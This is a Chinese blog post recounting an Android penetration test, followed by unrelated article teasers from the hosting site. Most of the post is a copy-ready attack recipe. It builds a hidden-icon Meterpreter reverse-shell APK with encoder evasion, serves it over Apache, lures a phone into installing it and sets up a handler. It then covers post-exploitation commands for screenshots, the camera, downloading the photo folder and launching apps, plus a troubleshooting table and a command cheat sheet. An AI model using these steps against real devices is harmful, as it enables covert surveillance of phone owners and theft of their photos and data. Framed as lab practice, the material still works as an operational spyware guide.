news 2026/6/10 16:07:38

Android 渗透测试实战全流程复盘 (2026.01.15)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Android 渗透测试实战全流程复盘 (2026.01.15)

一、 环境准备与信息搜集

1. 确定攻击机 IP 地址

在 Kali Linux 终端执行ifconfigip addr,找到连接同一 WiFi 的网卡 IP。

  • 今晚实战 IP10.205.105.150
  • 重要性:这是木马回连的 “指挥中心” 地址,必须确保靶机手机能 Ping 通此 IP。

2. 靶机环境确认

  • 目标系统:Android 11+ (高版本,权限限制较严)
  • 网络环境:与 Kali 处于同一 WiFi 网段。
  • 前置条件:手机需开启 “允许安装未知来源应用” 权限(针对浏览器或文件管理器)。

二、 恶意载荷(Payload)生成与部署

1. 使用 msfvenom 生成木马 APK

利用 Metasploit 内置工具生成 Android 后门程序。

  • 核心命令

    bash

    运行

    msfvenom -p android/meterpreter/reverse_tcp \ LHOST=10.205.105.150 \ LPORT=4444 \ -o /var/www/html/hack.apk \ --platform android \ --arch dalvik \ AndroidMeterpreter::Options::HideAppIcon=true \ --encoder x86/shikata_ga_nai -i 3
  • 参数详解
    • -p:指定载荷为安卓反向 TCP Shell。
    • LHOST/LPORT:监听主机 IP 和端口。
    • -o:输出路径(直接放入 Apache 网站根目录/var/www/html/)。
    • HideAppIcon=true:生成无图标木马(隐蔽性)。
    • --encoder:编码免杀(尝试绕过简单的杀软)。

2. 启动 Web 服务 (Apache)

为了让手机通过浏览器下载木马。

  • 启动命令

    bash

    运行

    service apache2 restart
  • 本地测试

    bash

    运行

    curl http://10.205.105.150/hack.apk
    • 现象:显示乱码(二进制数据),说明文件存在且服务正常。

三、 监听与上线(获取会话)

1. 配置 Metasploit 监听器

在 Kali 终端打开msfconsole

  • 配置流程

    bash

    运行

    use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST 0.0.0.0 # 监听本机所有接口 set LPORT 4444 run

2. 诱导靶机上线

  • 操作:在靶机手机浏览器输入http://10.205.105.150/hack.apk
  • 关键点
    • 浏览器可能提示 “不支持的文件类型”,需长按链接选择 “下载链接” 或使用 Chrome 浏览器。
    • 安装时需授权 “来自未知来源的应用”。
    • 安装后桌面无图标(因开启了 HideAppIcon),但进程已在后台运行。

3. 成功标志

Kali 终端显示:

text

[*] Meterpreter session X opened (10.205.105.150:4444 -> ...)

四、 后渗透攻击(核心操作与排错)

进入meterpreter >提示符后,执行的操作。

1. 基础信息搜集

  • 查看系统信息sysinfo
  • 查看摄像头webcam_list
    • 实战问题:Android 11+ 限制后台调用摄像头,直接拍照可能失败 (Operation failed: 1)。
    • 解决方案:改用screenshot截图或授予权限(grant_permission android.permission.CAMERA)。
  • 下载文件download /sdcard/DCIM/Camera(下载照片)

2. APP 管理(重难点攻克)

方法 A:使用 Meterpreter 扩展(推荐)
  1. 加载扩展

    bash

    运行

    load appapi
  2. 列出所有 APP(含第三方):

    bash

    运行

    app_list -a
    • 实战问题:中文乱码。
    • 解决方案:忽略名称,关注Package列(包名),或导出到文件查看。
  3. 启动 APP

    bash

    运行

    app_run <包名>
方法 B:使用 Android 原生 Shell(兜底方案)

当 Meterpreter 命令失效时使用。

  1. 进入 Shell

    bash

    运行

    shell -t 30 # -t 30 防止超时断开
  2. 查找包名

    bash

    运行

    pm list packages | grep <关键词> # 如 grep tencent, grep browser
  3. 启动 APP

    bash

    运行

    am start -n <包名>/.<主Activity> # 简化版: am start <包名>
  4. 退出 Shell

    bash

    运行

    exit

3. 可视化验证

  • 截图命令screenshot
    • 作用:验证 APP 是否启动、查看手机当前界面。
    • 注意:旧版命令screencap在新版中已变更为screenshot

五、 常见故障排除(Troubleshooting)

这是今晚实战中遇到的 “坑” 及解决方案,非常重要

故障现象原因分析解决方案
Send timed out会话超时或网络不稳定1. 尝试sessions -i <ID>重连。2. 若无效,手机重新安装 APK 触发上线。
Permission Denial: INTERACT_ACROSS_USERS_FULLAndroid 11+ 安全机制,禁止跨用户启动前台 Activity1. 忽略报错,截图确认是否启动。2. 使用am start的简化版。3. 尝试授予android.permission.INTERACT_ACROSS_USERS_FULL(通常失败)。
Unknown command: screencapMeterpreter 版本更新,命令变更使用新命令:screenshot
APP 列表中文乱码终端编码问题1. 只看Package列(英文包名)。2. 使用pm list packages在 Shell 中查看。
摄像头拍照失败高版本安卓限制后台调用摄像头使用screenshot截取屏幕画面作为替代。

六、 完整命令速查表(可直接复制)

bash

运行

# === 阶段一:生成木马 === service apache2 start msfvenom -p android/meterpreter/reverse_tcp LHOST=10.205.105.150 LPORT=4444 -o /var/www/html/hack.apk AndroidMeterpreter::Options::HideAppIcon=true # === 阶段二:启动监听 === msfconsole use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 run # === 阶段三:控制靶机 === # 基础信息 sysinfo webcam_list screenshot # 核心验证命令 # APP 操作 load appapi app_list -a app_run com.tencent.mm # 示例:启动微信 # 文件操作 download /sdcard/DCIM/Camera # 原生 Shell 操作 shell -t 30 pm list packages | grep tencent am start com.tencent.mm exit
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 15:22:06

吐血推荐!10个AI论文网站测评,本科生毕业论文必备

吐血推荐&#xff01;10个AI论文网站测评&#xff0c;本科生毕业论文必备 2026年AI论文写作工具测评&#xff1a;为何要选对平台&#xff1f; 随着AI技术的不断进步&#xff0c;越来越多的本科生在撰写毕业论文时开始依赖各类AI写作工具。然而&#xff0c;面对市场上五花八门的…

作者头像 李华
网站建设 2026/6/10 15:22:06

AnimeGANv2冷启动加速:云端预热技术,首次响应<500ms

AnimeGANv2冷启动加速&#xff1a;云端预热技术&#xff0c;首次响应<500ms 你有没有遇到过这种情况&#xff1a;用户上传一张照片&#xff0c;想马上看到它变成动漫风格的效果&#xff0c;结果系统却卡在那里“加载中……”足足十几秒甚至更久&#xff1f;尤其是当你的服务…

作者头像 李华
网站建设 2026/6/9 22:23:46

fft npainting lama撤销功能限制?浏览器兼容性说明

fft npainting lama撤销功能限制&#xff1f;浏览器兼容性说明 1. 背景与系统概述 1.1 项目背景 fft npainting lama 是基于深度学习图像修复技术&#xff08;inpainting&#xff09;构建的 WebUI 图像编辑系统&#xff0c;专注于实现图像内容移除、瑕疵修复、水印清除等视觉…

作者头像 李华
网站建设 2026/6/10 16:05:03

低门槛部署VibeThinker-1.5B,快速搭建解题AI环境

低门槛部署VibeThinker-1.5B&#xff0c;快速搭建解题AI环境 在大模型普遍追求通用能力的背景下&#xff0c;微博开源的 VibeThinker-1.5B 却走出了一条截然不同的技术路径&#xff1a;它不擅长闲聊、不生成创意内容&#xff0c;而是专注于高强度推理任务——数学解题与算法编…

作者头像 李华
网站建设 2026/6/7 11:59:17

万物识别-中文-通用领域长尾问题:罕见物体识别能力提升策略

万物识别-中文-通用领域长尾问题&#xff1a;罕见物体识别能力提升策略 1. 背景与挑战&#xff1a;通用图像识别中的长尾难题 在当前人工智能视觉理解领域&#xff0c;万物识别&#xff08;Universal Visual Recognition&#xff09;已成为推动智能系统迈向“类人感知”的关键…

作者头像 李华
网站建设 2026/6/4 22:27:39

TCP/IP 协议解析:ChatDemo

以一个点对点聊天软件&#xff08;ChatDemo&#xff09; 为例&#xff0c;详细拆解 TCP/IP 协议在实际通信中的工作过程。 &#x1f3af; 场景设定 用户 A&#xff08;IP 地址&#xff1a;192.168.1.10&#xff0c;端口 50001&#xff09;用户 B&#xff08;IP 地址&#xff1…

作者头像 李华